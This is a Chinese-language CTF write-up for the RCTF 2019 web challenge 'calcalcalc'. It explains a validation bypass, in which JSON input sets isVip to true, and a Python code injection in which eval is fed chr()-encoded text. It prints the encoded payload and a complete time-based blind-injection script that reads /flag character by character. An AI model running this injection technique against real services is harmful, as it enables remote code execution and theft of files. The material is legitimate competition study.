[Web] calcalcalc - LanceaKing xp0int Posted on May 20 2019 ## 分析程序 ### /calculate 逻辑 `/calculate`的代码在`frontend/src/app.controller.ts`,它的逻辑是: 1. 将用户的POST数据转化为CalculateModel对象,并检查数据是否有效,数据无效的话返回400状态码; 2. bson序列化CalculateModel对象,把序列化的数据发送给三个后端:node.js、php、python; 3. 获取到三个后端返回的数据再判断三个数据的json序列化是否相同,不相同的话返回`That's classified information. - Asahina Mikuru`; 4. 随机返回一个数据。 ### CalculateModel ``` export default class CalculateModel { @IsNotEmpty() @ExpressionValidator(15, { message: 'Invalid input', }) public readonly expression: string; @IsBoolean() public readonly isVip: boolean = false; } ``` ExpressionValidator: ``` export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) { return (object: Object, propertyName: string) => { registerDecorator({ name: 'ExpressionValidator', target: object.constructor, propertyName, constraints: [property], options: validationOptions, validator: { validate(value: any, args: ValidationArguments) { const str = value ? value.toString() : ''; if (str.length === 0) { return false; } if (!(args.object as CalculateModel).isVip) { if (str.length >= args.constraints[0]) { return false; } } if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) { return false; } return true; }, }, }); }; } ``` `CalculateModel->expression`的限制是不能为空、长度小于15、满足正则`/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i`。但是如果isVip是true的话长度可以绕过长度限制。 `CalculateModel->isVip`的限制是只能是Boolean。 ## 绕过 ### 长度限制 首先说明下程序将用户POST的数据转化为CalculateModel的默认方法是把form data按键值赋给CalculateModel响应的成员变量,但是类型要相同。 比如`expression=1+1`相当于`calculateModel->expression = "1+1";`。 但`isVip=true`相当于`calculateModel->isVip = "true";`,是不行的。 所以要使isVip为true,不能用form data。 fuzz后发现可以接受json,那么就可以将布尔值发送给服务器: - HTTP头`Content-Type: application/json`; - POST数据`{"expression":"1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1","isVip":true}`。 这样就能绕过长度限制了。 ### 正则 绕过`/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i`可以用eval函数和chr函数编码表达式,然后只管python端,但是没有回显,可以时间盲注。 ## 获取flag ### payload 时间盲注: ``` __import__('time').sleep(5) if ord(open('/flag').read()[0]) == 97 else None ``` 编码: ``` eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(116)+chr(105)+chr(109)+chr(101)+chr(39)+chr(41)+chr(46)+chr(115)+chr(108)+chr(101)+chr(101)+chr(112)+chr(40)+chr(53)+chr(41)+chr(32)+chr(105)+chr(102)+chr(32)+chr(111)+chr(114)+chr(100)+chr(40)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(39)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(91)+chr(48)+chr(93)+chr(41)+chr(32)+chr(61)+chr(61)+chr(32)+chr(57)+chr(55)+chr(32)+chr(101)+chr(108)+chr(115)+chr(101)+chr(32)+chr(78)+chr(111)+chr(110)+chr(101)) ``` ### exp 用二分法盲注。 #### 脚本: ``` from requests import Session import json def encode_cmd(cmd): return 'eval(chr(' + ')+chr('.join(str(ord(c)) for c in cmd) + '))' url = 'https://calcalcalc.2019.rctf.rois.io/calculate' sess = Session() sess.headers = {'Content-Type': 'application/json'} calc_modal = {'expression': '1+1', 'isVip': True} # print(sess.post(url, data=json.dumps(calc_modal)).elapsed.total_seconds()) # <2s flag = '' i = 0 while True: low, high = 0, 255 while low <= high: mid = (low + high) // 2 print(hex(mid)[2:].zfill(2), end='\r') cmd = f"__import__('time').sleep(5) if ord(open('/flag').read()[{i}]) == {mid} else None" cmd_encoded = encode_cmd(cmd) calc_modal['expression'] = cmd_encoded elapsed = sess.post(url, data=json.dumps(calc_modal)).elapsed.total_seconds() if elapsed > 4.5: break cmd = f"__import__('time').sleep(5) if ord(open('/flag').read()[{i}]) > {mid} else None" cmd_encoded = encode_cmd(cmd) calc_modal['expression'] = cmd_encoded elapsed = sess.post(url, data=json.dumps(calc_modal)).elapsed.total_seconds() if elapsed > 4.5: low = mid + 1 else: high = mid - 1 print() flag += chr(mid) print(flag) if chr(mid) == '}': break i += 1 ``` (PS:盲注好像是非预期解,因为gunicorn配置里的timeout = 1对sleep失效) 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Misc] draw - Donek1 [Pwn] manynotes - cpt.shao
没有帐号? 立即注册